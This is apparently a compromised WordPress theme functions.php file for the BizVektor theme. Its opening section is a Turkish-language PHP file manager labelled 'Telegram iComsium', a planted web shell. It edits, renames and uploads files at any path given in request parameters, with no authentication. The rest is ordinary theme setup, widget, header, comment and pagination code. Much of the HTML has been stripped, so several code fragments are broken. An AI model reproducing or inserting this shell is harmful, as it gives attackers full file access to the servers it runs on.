Dosya kaydedildi.

"; } // -------- Dosya yeniden adlandırma -------- if (isset($_POST['rename_file']) && isset($_POST['new_name'])) { $old = $_POST['rename_file']; $dir = dirname($old); $new = $dir . '/' . basename($_POST['new_name']); if (rename($old, $new)) { echo "Dosya yeniden adlandırıldı.

"; } else { echo "Yeniden adlandırma başarısız!

"; } } // -------- Dosya yükleme -------- if (isset($_FILES['upload_file'])) { $target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) { echo "Dosya yüklendi: " . basename($target) . "

"; } else { echo "Yükleme hatası!

"; } } echo "Telegram iComsium Current root: $root
"; echo "Current path: $path
"; echo '..
'; foreach (glob(rtrim($path,'/').'/*') as $file) { echo ''.basename($file).''; if (is_file($file)) { echo ' | [Göster]'; echo ' | [Düzenle]'; echo ' | [Yeniden Adlandır]'; } echo "
"; } echo "
"; // -------- Dosya düzenleme arayüzü -------- if (isset($_GET['edit']) && is_file($_GET['edit'])) { $editFile = $_GET['edit']; $content = htmlspecialchars(file_get_contents($editFile)); echo "

Dosya Düzenle: ".basename($editFile)."

"; echo '



'; } // -------- Dosya yeniden adlandırma arayüzü -------- if (isset($_GET['rename']) && is_file($_GET['rename'])) { $renameFile = $_GET['rename']; echo "

Dosya Yeniden Adlandır: ".basename($renameFile)."

"; echo '
Yeni isim:


'; } // -------- Dosya yükleme formu -------- echo '

Dosya Yükle

'; ?> Version); /*-------------------------------------------*/ /* Theme setup /*-------------------------------------------*/ /* Set content width /* (Auto set up to media max with.) /*-------------------------------------------*/ /* WidgetArea initiate /*-------------------------------------------*/ /* WidgetArea maincontent setting /*-------------------------------------------*/ /* Custom header /*-------------------------------------------*/ /* Load theme options /*-------------------------------------------*/ /* Load Advanced Settings (advanced theme options) /*-------------------------------------------*/ /* Load Setting of Default / Calmly /*-------------------------------------------*/ /* Load Theme customizer /*-------------------------------------------*/ /* Admin page _ Add style /*-------------------------------------------*/ /* Admin page _ Add post status to body class /*-------------------------------------------*/ /* Admin page _ Add editor css /*-------------------------------------------*/ /* Chack use post top page /*-------------------------------------------*/ /* head_description /*-------------------------------------------*/ /* wp_head add items /*-------------------------------------------*/ /* Term list no link /*-------------------------------------------*/ /* Global navigation add cptions /*-------------------------------------------*/ /* Excerpt _ change ... /*-------------------------------------------*/ /* Year Artchive list 'year' insert to inner /*-------------------------------------------*/ /* Category list 'count insert to inner /*-------------------------------------------*/ /* Block to delete iframe tag from TinyMCE /*-------------------------------------------*/ /* Comment /*-------------------------------------------*/ /* Archive page link ( don't erase ) /*-------------------------------------------*/ /* Paging /*-------------------------------------------*/ /* Page _ Child page lists /*-------------------------------------------*/ /* HomePage _ add action filters /*-------------------------------------------*/ /* Archive _ loop custom filters /*-------------------------------------------*/ /* Aceept favicon upload /*-------------------------------------------*/ get_template_part('plugins/plugins'); include_once( get_template_directory(). '/deprecations.php' ); function biz_vektor_is_plugin_enable($plugin_name){ return apply_filters( 'biz_vektor_is_plugin_'. $plugin_name, false ); } function biz_vektor_wp_css(){ echo ''."\n"; // wp_enqueue_style('Biz_Vektor_style', get_stylesheet_uri(), array(), false); } add_action('wp_head', 'biz_vektor_wp_css', 190); /*-------------------------------------------*/ /* Theme setup /*-------------------------------------------*/ add_action('after_setup_theme', 'biz_vektor_theme_setup'); function biz_vektor_theme_setup() { add_theme_support( 'automatic-feed-links' ); add_theme_support( 'custom-header' ); add_theme_support( 'custom-background', array( 'default-color' => '#ffffff', ) ); /*-------------------------------------------*/ /* Admin page _ Eye catch /*-------------------------------------------*/ add_theme_support( 'post-thumbnails' ); set_post_thumbnail_size( 200, 200, true ); /*-------------------------------------------*/ /* Custom menu /*-------------------------------------------*/ register_nav_menus( array( 'Header' => 'Header Navigation', ) ); register_nav_menus( array( 'FooterNavi' => 'Footer Navigation', ) ); register_nav_menus( array( 'FooterSiteMap' => 'Footer SiteMap', ) ); load_theme_textdomain('biz-vektor', get_template_directory() . '/languages'); /*-------------------------------------------*/ /* Set content width /* (Auto set up to media max with.) /*-------------------------------------------*/ global $content_width; if ( ! isset( $content_width ) ) $content_width = 640; } /*-------------------------------------------*/ /* WidgetArea initiate /*-------------------------------------------*/ function biz_vektor_widgets_init() { register_sidebar( array( 'name' => __( 'Sidebar(Front page only)', 'biz-vektor' ), 'id' => 'top-side-widget-area', 'description' => __( 'This widget area appears on the front page only.', 'biz-vektor' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Sidebar(Post content only)', 'biz-vektor' ), 'id' => 'post-widget-area', 'description' => __( 'This widget area appears only on the post content pages.', 'biz-vektor' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Sidebar(Page content only)', 'biz-vektor' ), 'id' => 'page-widget-area', 'description' => __( 'This widget area appears only on the page content pages.', 'biz-vektor' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Sidebar(Common top)', 'biz-vektor' ), 'id' => 'common-side-top-widget-area', 'description' => __( 'This widget area appears at top of sidebar.', 'biz-vektor' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); register_sidebar( array( 'name' => __( 'Sidebar(Common bottom)', 'biz-vektor' ), 'id' => 'common-side-bottom-widget-area', 'description' => __( 'This widget area appears at bottom of sidebar.', 'biz-vektor' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); } add_action( 'widgets_init', 'biz_vektor_widgets_init' ); /*-------------------------------------------*/ /* WidgetArea maincontent setting /*-------------------------------------------*/ add_filter('biz_vektor_is_plugin_widgets', 'biz_vektor_widget_beacon', 10, 1 ); function biz_vektor_widget_beacon($flag){ $flag = true; return $flag; } function biz_vektor_maincontent_widgetarea_init() { register_sidebar( array( 'name' => __( 'Main content(Homepage)', 'biz-vektor' ), 'id' => 'top-main-widget-area', 'description' => __( 'This widget area appears on the front page main content area only.', 'biz-vektor' ), 'before_widget' => '
', 'after_widget' => '
', 'before_title' => '

', 'after_title' => '

', ) ); } add_action( 'widgets_init', 'biz_vektor_maincontent_widgetarea_init' ); add_filter('biz_vektor_extra_main_content', 'biz_vektor_widget_extra_content', 512, 1); function biz_vektor_widget_extra_content($flag){ if ( !$flag && is_active_sidebar( 'top-main-widget-area' ) ) { dynamic_sidebar( 'top-main-widget-area' ); $flag = true; } return $flag; } /*-------------------------------------------*/ /* Custom header /*-------------------------------------------*/ add_action('after_setup_theme', 'biz_vektor_set_customheader'); function biz_vektor_set_customheader(){ // Use custom header text define( 'HEADER_TEXTCOLOR', '' ); // Kill custom header test define( 'NO_HEADER_TEXT', true ); define('HEADER_IMAGE', '%s/images/headers/accelerate.jpg'); $header_size = apply_filters('biz_vektor_customheader_size',array(1300,342)); define('HEADER_IMAGE_WIDTH', $header_size[0]); define('HEADER_IMAGE_HEIGHT', $header_size[1]); $custom_headers = array( 'accelerate' => array( 'url' => '%s/images/headers/accelerate.jpg', 'thumbnail_url' => '%s/images/headers/accelerate-thumbnail.jpg', 'description' => 'Accelerate your business' ), 'bussines_desk_02' => array( 'url' => '%s/images/headers/bussines_desk_02.jpg', 'thumbnail_url' => '%s/images/headers/bussines_desk_02-thumbnail.jpg', 'description' => 'Bussines desk01' ), 'bussines_desk_01' => array( 'url' => '%s/images/headers/bussines_desk_01.jpg', 'thumbnail_url' => '%s/images/headers/bussines_desk_01-thumbnail.jpg', 'description' => 'Bussines desk01' ), 'autumn-leaves' => array( 'url' => '%s/images/headers/autumn-leaves.jpg', 'thumbnail_url' => '%s/images/headers/autumn-leaves-thumbnail.jpg', 'description' => 'autumn-leaves' ), 'johnny_01' => array( 'url' => '%s/images/headers/johnny_01.jpg', 'thumbnail_url' => '%s/images/headers/johnny_01-thumbnail.jpg', 'description' => 'Johnny' ), ); $custom_headers = apply_filters('biz_vektor_customheader_images', $custom_headers); register_default_headers( $custom_headers ); } /*-------------------------------------------*/ /* Load theme options /*-------------------------------------------*/ require( get_template_directory() . '/inc/theme-options.php' ); require( get_template_directory() . '/inc/theme-options-init.php' ); /*-------------------------------------------*/ /* Load Advanced Settings (advanced theme options) /*-------------------------------------------*/ require( get_template_directory() . '/inc/theme-ad-options.php' ); /*-------------------------------------------*/ /* Load Setting of Default / Calmly /*-------------------------------------------*/ require( get_template_directory() . '/design_skins/001/001_custom.php' ); require( get_template_directory() . '/design_skins/002/002_custom.php' ); require( get_template_directory() . '/design_skins/003/003_custom.php' ); /*-------------------------------------------*/ /* Load Theme customizer /*-------------------------------------------*/ require( get_template_directory() . '/inc/theme-customizer.php' ); /*-------------------------------------------*/ /* Admin page _ Add style /*-------------------------------------------*/ function bizVektor_admin_css(){ // enqueue の場合あとで読み込まれてしまうため echo ''; // $adminCssPath = get_template_directory_uri().'/css/style_bizvektor_admin.css'; // wp_enqueue_style( 'theme', $adminCssPath , false, '2014-08-20'); } add_action('admin_head', 'bizVektor_admin_css', 11); /*-------------------------------------------*/ /* Admin page _ Add post status to body class /*-------------------------------------------*/ function bizVektor_postStatus(){ $classes = get_post_status(); ?> '."\n"; $pingback = apply_filters('pingbackCustom', $pingback ); echo $pingback; } //html5 shiv add_action( 'wp_enqueue_scripts', 'biz_vektor_load_scripts_html5shiv' ); if ( ! function_exists( 'biz_vektor_load_scripts_html5shiv' ) ) { function biz_vektor_load_scripts_html5shiv() { ?> name ; } return $before . join( $sep, $term_names ) . $after; } /*-------------------------------------------*/ /* Global navigation add cptions /*-------------------------------------------*/ class description_walker extends Walker_Nav_Menu { function start_el(&$output, $item, $depth = 0, $args = array(), $id = 0) { global $wp_query; $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $class_names = $value = ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) ); $class_names = ' class="'. esc_attr( $class_names ) . '"'; $output .= $indent . '@', '\1', $html); } add_filter('get_archives_link', 'my_archives_link'); /*-------------------------------------------*/ /* Category list 'count insert to inner /*-------------------------------------------*/ function my_list_categories( $output, $args ) { $output = preg_replace('/<\/a>\s*\((\d+)\)/',' ($1)',$output); return $output; } add_filter( 'wp_list_categories', 'my_list_categories', 10, 2 ); /*-------------------------------------------*/ /* Block to delete iframe tag from TinyMCE /*-------------------------------------------*/ function add_iframe($initArray) { $initArray['extended_valid_elements'] = "iframe[id|class|title|style|align|frameborder|height|longdesc|marginheight|marginwidth|name|scrolling|src|width]"; return $initArray; } add_filter('tiny_mce_before_init', 'add_iframe'); /*-------------------------------------------*/ /* Comment /*-------------------------------------------*/ if ( ! function_exists( 'biz_vektor_comment' ) ) : function biz_vektor_comment( $comment, $args, $depth ) { $GLOBALS['comment'] = $comment; switch ( $comment->comment_type ) : case '' : ?>
  • id="li-comment-">
    %s', get_comment_author_link() ) ); ?>
    comment_approved == '0' ) : ?>
    __('Reply', 'biz-vektor'), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
  • Pingback: (', ')' ); ?> max_num_pages > 1 ) : ?>

    max_num_pages; if(!$max_num_pages) { $max_num_pages = 1; } } if(1 != $max_num_pages) { echo '
    '."\n"; // Prevリンク // 現在のページが2ページ目以降の場合 if ($paged > 1) echo '«'."\n"; // 今のページからレンジを引いて2以上ある場合 && 最大表示アイテム数より最第ページ数が大きい場合 // (レンジ数のすぐ次の場合は表示する) // 1...345 if ( $paged-$range >= 2 && $max_num_pages > $showitems ) echo '1'."\n"; // 今のページからレンジを引いて3以上ある場合 && 最大表示アイテム数より最第ページ数が大きい場合 if ( $paged-$range >= 3 && $max_num_pages > $showitems ) echo ''."\n"; // レンジより前に追加する数 $addPrevCount = $paged+$range-$max_num_pages; // レンジより後に追加する数 $addNextCount = -($paged-1-$range); // 今のページ数を遡ってカウントするために-1 // アイテムループ for ($i=1; $i <= $max_num_pages; $i++) { // 表示するアイテム if ($paged == $i) { $pageItem = ''.$i.''."\n"; } else { $pageItem = ''.$i.''."\n"; } // 今のページからレンジを引いた数~今のページからレンジを足した数まで || 最大ページ数が最大表示アイテム数以下の場合 if ( ( $paged-$range <= $i && $i<= $paged+$range ) || $max_num_pages <= $showitems ) { echo $pageItem; // 今のページからレンジを引くと負数になる場合 && 今のページ+レンジ+負数をレンジに加算した数まで } else if ( $paged-1-$range < 0 && $paged+$range+$addNextCount >= $i ) { echo $pageItem; // 今のページからレンジを足すと 最後のページよりも大きくなる場合 && 今のページ+レンジ+負数をレンジに加算した数まで } else if ( $paged+$range > $max_num_pages && $paged-$range-$addPrevCount <= $i ) { echo $pageItem; } } // 現在のページにレンジを足しても最後のページ数より2以上小さい時 && 最大表示アイテム数より最第ページ数が大きい場合 if ( $paged+$range <= $max_num_pages-2 && $max_num_pages > $showitems ) echo ''."\n"; if ( $paged+$range <= $max_num_pages-1 && $max_num_pages > $showitems ) echo ''.$max_num_pages.''."\n"; // Nextリンク if ($paged < $max_num_pages) echo '»'."\n"; echo "
    \n"; } } /*-------------------------------------------*/ /* Page _ Child page lists /*-------------------------------------------*/ function biz_vektor_childPageList(){ global $post; if (is_page()) { if($post->ancestors){ foreach($post->ancestors as $post_anc_id){ $post_id = $post_anc_id; } } else { $post_id = $post->ID; } if ($post_id) { $children = wp_list_pages("title_li=&child_of=".$post_id."&echo=0"); if ($children) { ?>

    5000, 'animation'=>'fade'); global $biz_vektor_options; if( isset($biz_vektor_options['slider_slidespeed']) && ctype_digit($biz_vektor_options['slider_slidespeed']) ){ $flexslider['slideshowSpeed'] = $biz_vektor_options['slider_slidespeed']; } if( isset($biz_vektor_options['slider_animation']) && $biz_vektor_options['slider_animation'] ){ $flexslider['animation'] = $biz_vektor_options['slider_animation']; } $flexslider = apply_filters('biz_vektor_slider_options', $flexslider); wp_localize_script( 'biz-vektor-min-js', 'bv_sliderParams', $flexslider ); }